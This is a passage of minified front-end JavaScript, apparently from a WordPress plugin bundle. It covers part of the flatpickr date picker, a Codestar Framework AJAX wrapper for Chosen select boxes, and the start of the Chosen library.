p.hourElement.select()},50))},p.redraw=X,p.set=function(e,t){if(null!==e&&"object"==typeof e)for(var n in Object.assign(p.config,e),e)void 0!==M[n]&&M[n].forEach(function(e){return e()});else p.config[e]=t,void 0!==M[e]?M[e].forEach(function(e){return e()}):-1<ue.indexOf(e)&&(p.config[e]=ge(t));p.redraw(),T(!0)},p.setDate=function(e,t,n){void 0===t&&(t=!1);void 0===n&&(n=p.config.dateFormat);if(0!==e&&!e||e instanceof Array&&0===e.length)return p.clear(t);te(e,n),p.latestSelectedDateObj=p.selectedDates[p.selectedDates.length-1],p.redraw(),s(void 0,t),i(),0===p.selectedDates.length&&p.clear(!1);T(t),t&&k("onChange")},p.toggle=function(e){if(!0===p.isOpen)return p.close();p.open(e)};var M={locale:[G,B],showMonths:[q,H,W],minDate:[s],maxDate:[s],clickOpens:[function(){!0===p.config.clickOpens?(a(p._input,"focus",p.open),a(p._input,"click",p.open)):(p._input.removeEventListener("focus",p.open),p._input.removeEventListener("click",p.open))}]};function te(e,t){var n=[];if(e instanceof Array)n=e.map(function(e){return p.parseDate(e,t)});else if(e instanceof Date||"number"==typeof e)n=[p.parseDate(e,t)];else if("string"==typeof e)switch(p.config.mode){case"single":case"time":n=[p.parseDate(e,t)];break;case"multiple":n=e.split(p.config.conjunction).map(function(e){return p.parseDate(e,t)});break;case"range":n=e.split(p.l10n.rangeSeparator).map(function(e){return p.parseDate(e,t)})}else p.config.errorHandler(new Error("Invalid date supplied: "+JSON.stringify(e)));p.selectedDates=p.config.allowInvalidPreload?n:n.filter(function(e){return e instanceof Date&&D(e,!1)}),"range"===p.config.mode&&p.selectedDates.sort(function(e,t){return e.getTime()-t.getTime()})}function ne(e){return e.slice().map(function(e){return"string"==typeof e||"number"==typeof e||e instanceof Date?p.parseDate(e,void 0,!0):e&&"object"==typeof e&&e.from&&e.to?{from:p.parseDate(e.from,void 0),to:p.parseDate(e.to,void 0)}:e}).filter(function(e){return e})}function k(e,t){if(void 0!==p.config){var n=p.config[e];if(void 0!==n&&0<n.length)for(var i=0;n[i]&&i<n.length;i++)n[i](p.selectedDates,p.input.value,p,t);"onChange"===e&&(p.input.dispatchEvent(ie("change")),p.input.dispatchEvent(ie("input")))}}function ie(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!0),t}function oe(e){for(var t=0;t<p.selectedDates.length;t++)if(0===Ee(p.selectedDates[t],e))return""+t;return!1}function E(){p.config.noCalendar||p.isMobile||!p.monthNav||(p.yearElements.forEach(function(e,t){var n=new Date(p.currentYear,p.currentMonth,1);n.setMonth(p.currentMonth+t),1<p.config.showMonths||"static"===p.config.monthSelectorType?p.monthElements[t].textContent=Ce(n.getMonth(),p.config.shorthandCurrentMonth,p.l10n)+" ":p.monthsDropdownContainer.value=n.getMonth().toString(),e.value=n.getFullYear().toString()}),p._hidePrevMonthArrow=void 0!==p.config.minDate&&(p.currentYear===p.config.minDate.getFullYear()?p.currentMonth<=p.config.minDate.getMonth():p.currentYear<p.config.minDate.getFullYear()),p._hideNextMonthArrow=void 0!==p.config.maxDate&&(p.currentYear===p.config.maxDate.getFullYear()?p.currentMonth+1>p.config.maxDate.getMonth():p.currentYear>p.config.maxDate.getFullYear()))}function se(t){return p.selectedDates.map(function(e){return p.formatDate(e,t)}).filter(function(e,t,n){return"range"!==p.config.mode||p.config.enableTime||n.indexOf(e)===t}).join("range"!==p.config.mode?p.config.conjunction:p.l10n.rangeSeparator)}function T(e){void 0===e&&(e=!0),void 0!==p.mobileInput&&p.mobileFormatStr&&(p.mobileInput.value=void 0!==p.latestSelectedDateObj?p.formatDate(p.latestSelectedDateObj,p.mobileFormatStr):""),p.input.value=se(p.config.dateFormat),void 0!==p.altInput&&(p.altInput.value=se(p.config.altFormat)),!1!==e&&k("onValueUpdate")}function re(e){var e=De(e),t=p.prevMonthNav.contains(e),n=p.nextMonthNav.contains(e);t||n?y(t?-1:1):0<=p.yearElements.indexOf(e)?e.select():e.classList.contains("arrowUp")?p.changeYear(p.currentYear+1):e.classList.contains("arrowDown")&&p.changeYear(p.currentYear-1)}p.element=p.input=c,p.isOpen=!1;var e=["wrap","weekNumbers","allowInput","allowInvalidPreload","clickOpens","time_24hr","enableTime","noCalendar","altInput","shorthandCurrentMonth","inline","static","enableSeconds","disableMobile"],t=ce(ce({},JSON.parse(JSON.stringify(c.dataset||{}))),P),n={},O=(p.config.parseDate=t.parseDate,p.config.formatDate=t.formatDate,Object.defineProperty(p.config,"enable",{get:function(){return p.config._enable},set:function(e){p.config._enable=ne(e)}}),Object.defineProperty(p.config,"disable",{get:function(){return p.config._disable},set:function(e){p.config._disable=ne(e)}}),"time"===t.mode);function ae(t){return function(e){p.config["min"===t?"_minTime":"_maxTime"]=p.parseDate(e,"H:i:S")}}t.dateFormat||!t.enableTime&&!O||(N=Ie.defaultConfig.dateFormat||de.dateFormat,n.dateFormat=t.noCalendar||O?"H:i"+(t.enableSeconds?":S":""):N+" H:i"+(t.enableSeconds?":S":"")),t.altInput&&(t.enableTime||O)&&!t.altFormat&&(N=Ie.defaultConfig.altFormat||de.altFormat,n.altFormat=t.noCalendar||O?"h:i"+(t.enableSeconds?":S K":" K"):N+(" h:i"+(t.enableSeconds?":S":""))+" K"),Object.defineProperty(p.config,"minDate",{get:function(){return p.config._minDate},set:Q("min")}),Object.defineProperty(p.config,"maxDate",{get:function(){return p.config._maxDate},set:Q("max")}),Object.defineProperty(p.config,"minTime",{get:function(){return p.config._minTime},set:ae("min")}),Object.defineProperty(p.config,"maxTime",{get:function(){return p.config._maxTime},set:ae("max")}),"time"===t.mode&&(p.config.noCalendar=!0,p.config.enableTime=!0),Object.assign(p.config,n,t);for(var S=0;S<e.length;S++)p.config[e[S]]=!0===p.config[e[S]]||"true"===p.config[e[S]];for(ue.filter(function(e){return void 0!==p.config[e]}).forEach(function(e){p.config[e]=ge(p.config[e]||[]).map(Y)}),p.isMobile=!p.config.disableMobile&&!p.config.inline&&"single"===p.config.mode&&!p.config.disable.length&&!p.config.enable&&!p.config.weekNumbers&&/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),S=0;S<p.config.plugins.length;S++){var A,le=p.config.plugins[S](p)||{};for(A in le)-1<ue.indexOf(A)?p.config[A]=ge(le[A]).map(Y).concat(p.config[A]):void 0===t[A]&&(p.config[A]=le[A])}if(t.altInputClass||(p.config.altInputClass=V().className+" "+p.config.altInputClass),k("onParseConfig"),G(),p.input=V(),p.input?(p.input._type=p.input.type,p.input.type="text",p.input.classList.add("flatpickr-input"),p._input=p.input,p.config.altInput&&(p.altInput=ye(p.input.nodeName,p.config.altInputClass),p._input=p.altInput,p.altInput.placeholder=p.input.placeholder,p.altInput.disabled=p.input.disabled,p.altInput.required=p.input.required,p.altInput.tabIndex=p.input.tabIndex,p.altInput.type="text",p.input.setAttribute("type","hidden"),!p.config.static&&p.input.parentNode&&p.input.parentNode.insertBefore(p.altInput,p.input.nextSibling)),p.config.allowInput||p._input.setAttribute("readonly","readonly"),p._positionElement=p.config.positionElement||p._input):p.config.errorHandler(new Error("Invalid input element specified")),p.selectedDates=[],p.now=p.parseDate(p.config.now)||new Date,(O=p.config.defaultDate||("INPUT"!==p.input.nodeName&&"TEXTAREA"!==p.input.nodeName||!p.input.placeholder||p.input.value!==p.input.placeholder?p.input.value:null))&&te(O,p.config.dateFormat),p._initialDate=0<p.selectedDates.length?p.selectedDates[0]:p.config.minDate&&p.config.minDate.getTime()>p.now.getTime()?p.config.minDate:p.config.maxDate&&p.config.maxDate.getTime()<p.now.getTime()?p.config.maxDate:p.now,p.currentYear=p._initialDate.getFullYear(),p.currentMonth=p._initialDate.getMonth(),0<p.selectedDates.length&&(p.latestSelectedDateObj=p.selectedDates[0]),void 0!==p.config.minTime&&(p.config.minTime=p.parseDate(p.config.minTime,"H:i")),void 0!==p.config.maxTime&&(p.config.maxTime=p.parseDate(p.config.maxTime,"H:i")),p.minDateHasTime=!!p.config.minDate&&(0<p.config.minDate.getHours()||0<p.config.minDate.getMinutes()||0<p.config.minDate.getSeconds()),p.maxDateHasTime=!!p.config.maxDate&&(0<p.config.maxDate.getHours()||0<p.config.maxDate.getMinutes()||0<p.config.maxDate.getSeconds()),p.utils={getDaysInMonth:function(e,t){return void 0===e&&(e=p.currentMonth),void 0===t&&(t=p.currentYear),1===e&&(t%4==0&&t%100!=0||t%400==0)?29:p.l10n.daysInMonth[e]}},!p.isMobile){var I,N=window.document.createDocumentFragment(),F=(p.calendarContainer=ye("div","flatpickr-calendar"),p.calendarContainer.tabIndex=-1,p.config.noCalendar||(N.appendChild((p.monthNav=ye("div","flatpickr-months"),p.yearElements=[],p.monthElements=[],p.prevMonthNav=ye("span","flatpickr-prev-month"),p.prevMonthNav.innerHTML=p.config.prevArrow,p.nextMonthNav=ye("span","flatpickr-next-month"),p.nextMonthNav.innerHTML=p.config.nextArrow,q(),Object.defineProperty(p,"_hidePrevMonthArrow",{get:function(){return p.__hidePrevMonthArrow},set:function(e){p.__hidePrevMonthArrow!==e&&(ve(p.prevMonthNav,"flatpickr-disabled",e),p.__hidePrevMonthArrow=e)}}),Object.defineProperty(p,"_hideNextMonthArrow",{get:function(){return p.__hideNextMonthArrow},set:function(e){p.__hideNextMonthArrow!==e&&(ve(p.nextMonthNav,"flatpickr-disabled",e),p.__hideNextMonthArrow=e)}}),p.currentYearElement=p.yearElements[0],E(),p.monthNav)),p.innerContainer=ye("div","flatpickr-innerContainer"),p.config.weekNumbers&&(F=function(){p.calendarContainer.classList.add("hasWeeks");var e=ye("div","flatpickr-weekwrapper"),t=(e.appendChild(ye("span","flatpickr-weekday",p.l10n.weekAbbreviation)),ye("div","flatpickr-weeks"));return e.appendChild(t),{weekWrapper:e,weekNumbers:t}}(),I=F.weekWrapper,F=F.weekNumbers,p.innerContainer.appendChild(I),p.weekNumbers=F,p.weekWrapper=I),p.rContainer=ye("div","flatpickr-rContainer"),p.rContainer.appendChild(W()),p.daysContainer||(p.daysContainer=ye("div","flatpickr-days"),p.daysContainer.tabIndex=-1),f(),p.rContainer.appendChild(p.daysContainer),p.innerContainer.appendChild(p.rContainer),N.appendChild(p.innerContainer)),p.config.enableTime&&N.appendChild(function(){p.calendarContainer.classList.add("hasTime"),p.config.noCalendar&&p.calendarContainer.classList.add("noCalendar");var e=Se(p.config),t=(p.timeContainer=ye("div","flatpickr-time"),p.timeContainer.tabIndex=-1,ye("span","flatpickr-time-separator",":")),n=we("flatpickr-hour",{"aria-label":p.l10n.hourAriaLabel}),i=(p.hourElement=n.getElementsByTagName("input")[0],we("flatpickr-minute",{"aria-label":p.l10n.minuteAriaLabel}));p.minuteElement=i.getElementsByTagName("input")[0],p.hourElement.tabIndex=p.minuteElement.tabIndex=-1,p.hourElement.value=pe(p.latestSelectedDateObj?p.latestSelectedDateObj.getHours():p.config.time_24hr?e.hours:function(e){switch(e%24){case 0:case 12:return 12;default:return e%12}}(e.hours)),p.minuteElement.value=pe(p.latestSelectedDateObj?p.latestSelectedDateObj.getMinutes():e.minutes),p.hourElement.setAttribute("step",p.config.hourIncrement.toString()),p.minuteElement.setAttribute("step",p.config.minuteIncrement.toString()),p.hourElement.setAttribute("min",p.config.time_24hr?"0":"1"),p.hourElement.setAttribute("max",p.config.time_24hr?"23":"12"),p.hourElement.setAttribute("maxlength","2"),p.minuteElement.setAttribute("min","0"),p.minuteElement.setAttribute("max","59"),p.minuteElement.setAttribute("maxlength","2"),p.timeContainer.appendChild(n),p.timeContainer.appendChild(t),p.timeContainer.appendChild(i),p.config.time_24hr&&p.timeContainer.classList.add("time24hr");p.config.enableSeconds&&(p.timeContainer.classList.add("hasSeconds"),n=we("flatpickr-second"),p.secondElement=n.getElementsByTagName("input")[0],p.secondElement.value=pe(p.latestSelectedDateObj?p.latestSelectedDateObj.getSeconds():e.seconds),p.secondElement.setAttribute("step",p.minuteElement.getAttribute("step")),p.secondElement.setAttribute("min","0"),p.secondElement.setAttribute("max","59"),p.secondElement.setAttribute("maxlength","2"),p.timeContainer.appendChild(ye("span","flatpickr-time-separator",":")),p.timeContainer.appendChild(n));p.config.time_24hr||(p.amPM=ye("span","flatpickr-am-pm",p.l10n.amPM[_e(11<(p.latestSelectedDateObj?p.hourElement.value:p.config.defaultHour))]),p.amPM.title=p.l10n.toggleTitle,p.amPM.tabIndex=-1,p.timeContainer.appendChild(p.amPM));return p.timeContainer}()),ve(p.calendarContainer,"rangeMode","range"===p.config.mode),ve(p.calendarContainer,"animate",!0===p.config.animate),ve(p.calendarContainer,"multiMonth",1<p.config.showMonths),p.calendarContainer.appendChild(N),void 0!==p.config.appendTo&&void 0!==p.config.appendTo.nodeType);(p.config.inline||p.config.static)&&(p.calendarContainer.classList.add(p.config.inline?"inline":"static"),p.config.inline&&(!F&&p.element.parentNode?p.element.parentNode.insertBefore(p.calendarContainer,p._input.nextSibling):void 0!==p.config.appendTo&&p.config.appendTo.appendChild(p.calendarContainer)),p.config.static&&(I=ye("div","flatpickr-wrapper"),p.element.parentNode&&p.element.parentNode.insertBefore(I,p.element),I.appendChild(p.element),p.altInput&&I.appendChild(p.altInput),I.appendChild(p.calendarContainer))),p.config.static||p.config.inline||(void 0!==p.config.appendTo?p.config.appendTo:window.document.body).appendChild(p.calendarContainer)}if(p.config.wrap&&["open","close","toggle","clear"].forEach(function(t){Array.prototype.forEach.call(p.element.querySelectorAll("[data-"+t+"]"),function(e){return a(e,"click",p[t])})}),p.isMobile){var j=p.config.enableTime?p.config.noCalendar?"time":"datetime-local":"date";p.mobileInput=ye("input",p.input.className+" flatpickr-mobile"),p.mobileInput.tabIndex=1,p.mobileInput.type=j,p.mobileInput.disabled=p.input.disabled,p.mobileInput.required=p.input.required,p.mobileInput.placeholder=p.input.placeholder,p.mobileFormatStr="datetime-local"==j?"Y-m-d\\TH:i:S":"date"==j?"Y-m-d":"H:i:S",0<p.selectedDates.length&&(p.mobileInput.defaultValue=p.mobileInput.value=p.formatDate(p.selectedDates[0],p.mobileFormatStr)),p.config.minDate&&(p.mobileInput.min=p.formatDate(p.config.minDate,"Y-m-d")),p.config.maxDate&&(p.mobileInput.max=p.formatDate(p.config.maxDate,"Y-m-d")),p.input.getAttribute("step")&&(p.mobileInput.step=String(p.input.getAttribute("step"))),p.input.type="hidden",void 0!==p.altInput&&(p.altInput.type="hidden");try{p.input.parentNode&&p.input.parentNode.insertBefore(p.mobileInput,p.input.nextSibling)}catch(e){}a(p.mobileInput,"change",function(e){p.setDate(De(e).value,!1,p.mobileFormatStr),k("onChange"),k("onClose")})}else j=me($,50),p._debouncedChange=me(o,Ae),p.daysContainer&&!/iPhone|iPad|iPod/i.test(navigator.userAgent)&&a(p.daysContainer,"mouseover",function(e){"range"===p.config.mode&&K(De(e))}),a(window.document.body,"keydown",J),p.config.inline||p.config.static||a(window,"resize",j),void 0!==window.ontouchstart?a(window.document,"touchstart",z):a(window.document,"mousedown",z),a(window.document,"focus",z,{capture:!0}),!0===p.config.clickOpens&&(a(p._input,"focus",p.open),a(p._input,"click",p.open)),void 0!==p.daysContainer&&(a(p.monthNav,"click",re),a(p.monthNav,["keyup","increment"],L),a(p.daysContainer,"click",ee)),void 0!==p.timeContainer&&void 0!==p.minuteElement&&void 0!==p.hourElement&&(a(p.timeContainer,["increment"],h),a(p.timeContainer,"blur",h,{capture:!0}),a(p.timeContainer,"click",R),a([p.hourElement,p.minuteElement],["focus","click"],function(e){return De(e).select()}),void 0!==p.secondElement&&a(p.secondElement,"focus",function(){return p.secondElement&&p.secondElement.select()}),void 0!==p.amPM&&a(p.amPM,"click",function(e){h(e),o()})),p.config.allowInput&&a(p._input,"blur",U);return(p.selectedDates.length||p.config.noCalendar)&&(p.config.enableTime&&i(p.config.noCalendar?p.latestSelectedDateObj:void 0),T(!1)),H(),n=/^((?!chrome|android).)*safari/i.test(navigator.userAgent),!p.isMobile&&n&&x(),k("onReady"),p}function n(e,t){for(var n=Array.prototype.slice.call(e).filter(function(e){return e instanceof HTMLElement}),i=[],o=0;o<n.length;o++){var s=n[o];try{null===s.getAttribute("data-fp-omit")&&(void 0!==s._flatpickr&&(s._flatpickr.destroy(),s._flatpickr=void 0),s._flatpickr=r(s,t||{}),i.push(s._flatpickr))}catch(e){console.error(e)}}return 1===i.length?i[0]:i}"undefined"!=typeof HTMLElement&&"undefined"!=typeof HTMLCollection&&"undefined"!=typeof NodeList&&(HTMLCollection.prototype.flatpickr=NodeList.prototype.flatpickr=function(e){return n(this,e)},HTMLElement.prototype.flatpickr=function(e){return n([this],e)});var Ie=function(e,t){return"string"==typeof e?n(window.document.querySelectorAll(e),t):e instanceof Node?n([e],t):n(e,t)};return Ie.defaultConfig={},Ie.l10ns={en:ce({},fe),default:ce({},fe)},Ie.localize=function(e){Ie.l10ns.default=ce(ce({},Ie.l10ns.default),e)},Ie.setDefaults=function(e){Ie.defaultConfig=ce(ce({},Ie.defaultConfig),e)},Ie.parseDate=ke({}),Ie.formatDate=Me({}),Ie.compareDates=Ee,"undefined"!=typeof jQuery&&void 0!==jQuery.fn&&(jQuery.fn.flatpickr=function(e){return n(this,e)}),Date.prototype.fp_incr=function(e){return new Date(this.getFullYear(),this.getMonth(),this.getDate()+("string"==typeof e?parseInt(e,10):e))},"undefined"!=typeof window&&(window.flatpickr=Ie),Ie}),function(r){function t(e,t){this.element=r(e),this.options=t,this.init()}t.prototype.init=function(){this.element.chosen(this.options),this.container=this.element.next(".chosen-container"),this.search_field=this.container.find(".chosen-search-input"),this.is_multiple=this.container.hasClass("chosen-container-multi"),this.is_typing=!1,this.chosenXhr=null,this.events()},t.prototype.events=function(){var e=this;this.search_field.on("compositionstart",function(){e.is_typing=!0}),this.search_field.on("compositionend",function(){e.is_typing=!1,e.update_list()}),this.search_field.on("keyup",function(){e.update_list()}),this.search_field.on("focus",function(){e.search_field_focused()})},t.prototype.search_field_focused=function(){this.search_welcome_message(),0===this.options.min_length&&0===this.search_field.val().length&&this.update_list()},t.prototype.search_welcome_message=function(){var e=r.trim(this.search_field.val()),t=this.container.find(".chosen-results");0===t.children().length&&0===e.length&&t.html('<li class="no-results">'+this.options.typing_text.replace("%s",this.options.min_length-e.length)+"</li>")},t.prototype.update_list=function(){var e,t,n=this;this.search_welcome_message(),this.is_typing||(t=(e=r.trim(this.search_field.val())).length<this.options.min_length?this.options.typing_text.replace("%s",this.options.min_length-e.length):this.options.searching_text,this.container.find(".no-results").text(t),e!==this.search_field.data("prevVal")&&(this.search_field.data("prevVal",e),this.timer&&clearTimeout(this.timer),e.length<this.options.min_length||(this.timer=setTimeout(function(){n.chosenXhr&&n.chosenXhr.abort(),n.options.data.term=e,n.chosenXhr=window.wp.ajax.post("csf-chosen",n.options.data).done(function(e){n.show_results(e)}).fail(function(e){n.container.find(".no-results").text(e.error)})},this.options.type_delay))))},t.prototype.show_results=function(e){var n,t,i,o,s=this;this.is_typing||null===e||(0===e.length?(this.element.data().chosen.no_results_clear(),this.element.data().chosen.no_results(this.search_field.val())):(n=[],this.element.find("option").each(function(){r(this).is(":selected")?n.push(r(this).val()+"-"+r(this).text()):r(this).attr("value").length&&r(this).remove()}),r.each(e,function(e,t){-1===r.inArray(t.value+"-"+t.text,n)&&r("<option />").attr("value",t.value).html(t.text).appendTo(s.element)}),t=this.search_field.val(),i=this.search_field.innerWidth(),this.element.trigger("chosen:updated"),this.is_multiple&&(o=this.element.parent().find(".csf-hide-select").val()||[],this.element.CSFChosenOrder(o,!0),this.search_field.css("width",i)),this.search_field.val(t),null!==this.chosenXhr.done&&this.chosenXhr.done(e)))},r.fn.CSFAjaxChosen=function(e){return this.each(function(){new t(this,e)})}}(jQuery),function(){var s,r,a=[].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1},l={}.hasOwnProperty;function e(){}e.insertAt=function(e,t,n){return n.insertBefore(e,n.children[t].nextSibling)},e.getFlattenedOptionsAndGroups=function(e){for(var t,n,i,o,s,r=Array.prototype.filter.call(e.childNodes,function(e){return"OPTION"===(e=e.nodeName.toUpperCase())||"OPTGROUP"===e}),a=[],l=0,c=r.length;l<c;l++)if(t=r[l],a.push(t),"OPTGROUP"===t.nodeName.toUpperCase())for(o=0,s=(i=Array.prototype.filter.call(t.childNodes,function(e){return"OPTION"===e.nodeName.toUpperCase()})).length;o<s;o++)n=i[o],a.push(n);return a},e.isValidMultipleSelectElement=function(e){return null!=e&&"SELECT"===e.nodeName&&e.multiple},e.getChosenUIContainer=function(e){return""!==e.id?document.getElementById(e.id.replace(/-/g,"_")+"_chosen"):this.searchChosenUIContainer(e)},e.isChosenified=function(e){return null!=this.getChosenUIContainer(e)},e.forceSelection=function(e,t){for(var n,i,o=this.getFlattenedOptionsAndGroups(e),s=0;s<o.length;)i=(n=o[s]).getAttribute("value"),0<=a.call(t,i)?(n.selected=!0,n.setAttribute("selected","")):(n.selected=!1,n.removeAttribute("selected")),s++;return this.triggerEvent(e,"chosen:updated")},e.CSFChosenOrder=function(e,t,n){var i,o,s,r,a,l,c,h,u,d,f,p,_;if(null!=this.getDOMElement&&(e=this.getDOMElement(e)),this.isValidMultipleSelectElement(e)&&null!=(i=this.getChosenUIContainer(e))&&t instanceof Array){for(t=t.map(Function.prototype.call,String.prototype.trim),l=this.getFlattenedOptionsAndGroups(e),null!=n&&!0===n&&this.forceSelection(e,t),_=[],o=u=0,f=t.length;u<f;o=++u){for(r=t[o],c=null,s=d=0,p=l.length;d<p;s=++d)l[s].value===r&&(c=s);a=i.querySelectorAll(".search-choice"),h=this.relAttributeName,null!=(a=Array.prototype.filter.call(a,function(e){return null!=e.querySelector("a.search-choice-close["+h+'="'+c+'"]')})[0])&&(i.querySelector("ul.chosen-choices"),_.push(this.insertAt(a,o,i.querySelector("ul.chosen-choices"))))}return _}},r=e,(s=jQuery).fn.extend({CSFChosenOrder:function(e,t){return _CSFChosenOrder.CSFChosenOrder(this,e,t)}}),this._CSFChosenOrder=function(){var e,t=o,n=r;for(e in n)l.call(n,e)&&(t[e]=n[e]);function i(){this.constructor=t}function o(){return o.__super__.constructor.apply(this,arguments)}return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,o.relAttributeName="data-option-array-index",o.isjQueryObject=function(e){return"undefined"!=typeof jQuery&&null!==jQuery&&e instanceof jQuery},o.getDOMElement=function(e){return this.isjQueryObject(e)?e.get(0):e},o.searchChosenUIContainer=function(e){return null!=s(e).data("chosen")?s(e).data("chosen").container[0]:s(e).next(".chosen-container.chosen-container-multi").get(0)},o.triggerEvent=function(e,t){return s(e).trigger(t)},o}()}.call(this),function(){var a,s,o,r,l={}.hasOwnProperty;function e(){this.options_index=0,this.parsed=[]}function c(e,t){var n,i;this.form_field=e,this.options=null!=t?t:{},this.label_click_handler=(n=this.label_click_handler,i=this,function(){return n.apply(i,arguments)}),c.browser_is_supported()&&(this.is_multiple=this.form_field.multiple,this.set_default_text(),this.set_default_values(),this.setup(),this.set_up_html(),this.register_observers(),this.on_ready())}e.prototype.add_node=function(e){return"OPTGROUP"===e.nodeName.toUpperCase()?this.add_group(e):this.add_option(e)},e.prototype.add_group=function(e){var t,n,i,o,s,r=this.parsed.length;for(this.parsed.push({array_index:r,group:!0,label:e.label,title:e.title||void 0,children:0,disabled:e.disabled,classes:e.className}),s=[],t=0,n=(o=e.childNodes).length;t<n;t++)i=o[t],s.push(this.add_option(i,r,e.disabled));return s},e.prototype.add_option=function(e,t,n){if("OPTION"===e.nodeName.toUpperCase())return""!==e.text?(null!=t&&(this.parsed[t].children+=1),this.parsed.push({array_index:this.parsed.length,options_index:this.options_index,value:e.value,text:e.text,html:e.innerHTML,title:e.title||void 0,selected:e.selected,disabled:!0===n?n:e.disabled,group_array_index:t,group_label:null!=t?this.parsed[t].label:null,classes:e.className,style:e.style.cssText})):this.parsed.push({array_index:this.parsed.length,options_index:this.options_index,empty:!0}),this.options_index+=1},(r=e).select_to_array=function(e){for(var t,n=new r,i=e.childNodes,o=0,s=i.length;o<s;o++)t=i[o],n.add_node(t);return n.parsed},c.prototype.set_default_values=function(){var t,n;return this.click_test_action=(t=this,function(e){return t.test_active_click(e)}),this.activate_action=(n=this,function(e){return n.activate_field(e)}),this.active_field=!1,this.mouse_on_container=!1,this.results_showing=!1,this.result_highlighted=null,this.is_rtl=this.options.rtl||/\bchosen-rtl\b/.test(this.form_field.className),this.allow_single_deselect=null!=this.options.allow_single_deselect&&null!=this.form_field.options[0]&&""===this.form_field.options[0].text&&this.options.allow_single_deselect,this.disable_search_threshold=this.options.disable_search_threshold||0,this.disable_search=this.options.disable_search||!1,this.enable_split_word_search=null==this.options.enable_split_word_search||this.options.enable_split_word_search,this.group_search=null==this.options.group_search||this.options.group_search,this.search_contains=this.options.search_contains||!1,this.single_backstroke_delete=null==this.options.single_backstroke_delete||this.options.single_backstroke_delete,this.max_selected_options=this.options.max_selected_options||1/0,this.inherit_select_classes=this.options.inherit_select_classes||!1,this.display_selected_options=null==this.options.display_selected_options||this.options.display_selected_options,this.display_disabled_options=null==this.options.display_disabled_options||this.options.display_disabled_options,this.include_group_label_in_selected=this.options.include_group_label_in_selected||!1,this.max_shown_results=this.options.max_shown_results||Number.POSITIVE_INFINITY,this.case_sensitive_search=this.options.case_sensitive_search||!1,this.hide_results_on_select=null==this.options.hide_results_on_select||this.options.hide_results_on_select},c.prototype.set_default_text=function(){return this.form_field.getAttribute("data-placeholder")?this.default_text=this.form_field.getAttribute("data-placeholder"):this.is_multiple?this.default_text=this.options.placeholder_text_multiple||this.options.placeholder_text||c.default_multiple_text:this.default_text=this.options.placeholder_text_single||this.options.placeholder_text||c.default_single_text,this.default_text=this.escape_html(this.default_text),this.results_none_found=this.form_field.getAttribute("data-no_results_text")||this.options.no_results_text||c.default_no_result_text},c.prototype.choice_label=function(e){return this.include_group_label_in_selected&&null!=e.group_label?"<b class='group-name'>"+this.escape_html(e.group_label)+"</b>"+e.html:e.html},c.prototype.mouse_enter=function(){return this.mouse_on_container=!0},c.prototype.mouse_leave=function(){return this.mouse_on_container=!1},c.prototype.input_focus=function(e){if(this.is_multiple){if(!this.active_field)return setTimeout((t=this,function(){return t.container_mousedown()}),50)}else if(!this.active_field)return this.activate_field();var t},c.prototype.input_blur=function(e){if(!this.mouse_on_container)return this.active_field=!1,setTimeout((t=this,function(){return t.blur_test()}),100);var t},c.prototype.label_click_handler=function(e){return this.is_multiple?this.container_mousedown(e):this.activate_field()},c.prototype.results_option_build=function(e){for(var t,n,i="",o=0,s=this.results_data,r=0,a=s.length;r<a&&((n="")!==(n=(t=s[r]).group?this.result_add_group(t):this.result_add_option(t))&&(o++,i+=n),null!=e&&e.first&&(t.selected&&this.is_multiple?this.choice_build(t):t.selected&&!this.is_multiple&&this.single_set_selected_text(this.choice_label(t))),!(o>=this.max_shown_results));r++);return i},c.prototype.result_add_option=function(e){var t,n;return e.search_match&&this.include_option_in_results(e)?(t=[],e.disabled||e.selected&&this.is_multiple||t.push("active-result"),!e.disabled||e.selected&&this.is_multiple||t.push("disabled-result"),e.selected&&t.push("result-selected"),null!=e.group_array_index&&t.push("group-option"),""!==e.classes&&t.push(e.classes),(n=document.createElement("li")).className=t.join(" "),e.style&&(n.style.cssText=e.style),n.setAttribute("data-option-array-index",e.array_index),n.innerHTML=e.highlighted_html||e.html,e.title&&(n.title=e.title),this.outerHTML(n)):""},c.prototype.result_add_group=function(e){var t,n;return(e.search_match||e.group_match)&&0<e.active_options?((t=[]).push("group-result"),e.classes&&t.push(e.classes),(n=document.createElement("li")).className=t.join(" "),n.innerHTML=e.highlighted_html||this.escape_html(e.label),e.title&&(n.title=e.title),this.outerHTML(n)):""},c.prototype.results_update_field=function(){if(this.set_default_text(),this.is_multiple||this.results_reset_cleanup(),this.result_clear_highlight(),this.results_build(),this.results_showing)return this.winnow_results()},c.prototype.reset_single_select_options=function(){for(var e,t=this.results_data,n=[],i=0,o=t.length;i<o;i++)(e=t[i]).selected?n.push(e.selected=!1):n.push(void 0);return n},c.prototype.results_toggle=function(){return this.results_showing?this.results_hide():this.results_show()},c.prototype.results_search=function(e){return this.results_showing?this.winnow_results():this.results_show()},c.prototype.winnow_results=function(e){var t,n,i,o,s,r,a,l,c,h,u,d,f;for(this.no_results_clear(),h=0,t=(a=this.get_search_text()).replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),c=this.get_search_regex(t),i=0,o=(l=this.results_data).length;i<o;i++)(s=l[i]).search_match=!1,u=null,s.highlighted_html="",this.include_option_in_results(s)&&(s.group&&(s.group_match=!1,s.active_options=0),null!=s.group_array_index&&this.results_data[s.group_array_index]&&(0===(u=this.results_data[s.group_array_index]).active_options&&u.search_match&&(h+=1),u.active_options+=1),f=s.group?s.label:s.text,s.group&&!this.group_search||(d=this.search_string_match(f,c),s.search_match=null!=d,s.search_match&&!s.group&&(h+=1),s.search_match?(a.length&&(d=d.index,r=f.slice(0,d),n=f.slice(d,d+a.length),f=f.slice(d+a.length),s.highlighted_html=this.escape_html(r)+"<em>"+this.escape_html(n)+"</em>"+this.escape_html(f)),null!=u&&(u.group_match=!0)):null!=s.group_array_index&&this.results_data[s.group_array_index].search_match&&(s.search_match=!0)));return this.result_clear_highlight(),h<1&&a.length?(this.update_results_content(""),this.no_results(a)):(this.update_results_content(this.results_option_build()),null!=e&&e.skip_highlight?void 0:this.winnow_results_set_highlight())},c.prototype.get_search_regex=function(e){var t,e=this.search_contains?e:"(^|\\s|\\b)"+e+"[^\\s]*";return this.enable_split_word_search||this.search_contains||(e="^"+e),t=this.case_sensitive_search?"":"i",new 